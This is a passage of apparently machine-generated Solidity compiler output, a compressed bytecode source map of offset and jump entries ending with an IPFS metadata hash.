127::-;3642:10;3637:3;3633:20;3630:1;3623:31;3673:4;3670:1;3663:15;3697:4;3694:1;3687:15;3713:168;3786:9;;;3817;;3834:15;;;3828:22;;3814:37;3804:71;;3855:18;;:::i;3886:217::-;3926:1;3952;3942:132;;3996:10;3991:3;3987:20;3984:1;3977:31;4031:4;4028:1;4021:15;4059:4;4056:1;4049:15;3942:132;-1:-1:-1;4088:9:1;;3886:217::o;4108:329::-;4310:2;4292:21;;;4349:1;4329:18;;;4322:29;-1:-1:-1;;;4382:2:1;4367:18;;4360:36;4428:2;4413:18;;4108:329::o;5466:128::-;5533:9;;;5554:11;;;5551:37;;;5568:18;;:::i;7867:125::-;7932:9;;;7953:10;;;7950:36;;;7966:18;;:::i;8129:127::-;8190:10;8185:3;8181:20;8178:1;8171:31;8221:4;8218:1;8211:15;8245:4;8242:1;8235:15;8261:251;8331:6;8384:2;8372:9;8363:7;8359:23;8355:32;8352:52;;;8400:1;8397;8390:12;8352:52;8432:9;8426:16;8451:31;8476:5;8451:31;:::i;8517:980::-;8779:4;8827:3;8816:9;8812:19;8858:6;8847:9;8840:25;8884:2;8922:6;8917:2;8906:9;8902:18;8895:34;8965:3;8960:2;8949:9;8945:18;8938:31;8989:6;9024;9018:13;9055:6;9047;9040:22;9093:3;9082:9;9078:19;9071:26;;9132:2;9124:6;9120:15;9106:29;;9153:1;9163:195;9177:6;9174:1;9171:13;9163:195;;;9242:13;;-1:-1:-1;;;;;9238:39:1;9226:52;;9333:15;;;;9298:12;;;;9274:1;9192:9;9163:195;;;-1:-1:-1;;;;;;;9414:32:1;;;;9409:2;9394:18;;9387:60;-1:-1:-1;;;9478:3:1;9463:19;9456:35;9375:3;8517:980;-1:-1:-1;;;8517:980:1:o;10114:306::-;10202:6;10210;10218;10271:2;10259:9;10250:7;10246:23;10242:32;10239:52;;;10287:1;10284;10277:12;10239:52;10316:9;10310:16;10300:26;;10366:2;10355:9;10351:18;10345:25;10335:35;;10410:2;10399:9;10395:18;10389:25;10379:35;;10114:306;;;;;:::o

ipfs://2c16328a70560f467b25cb3ae202a48e0a956921b0eabaa6cfba79b00b5d8c36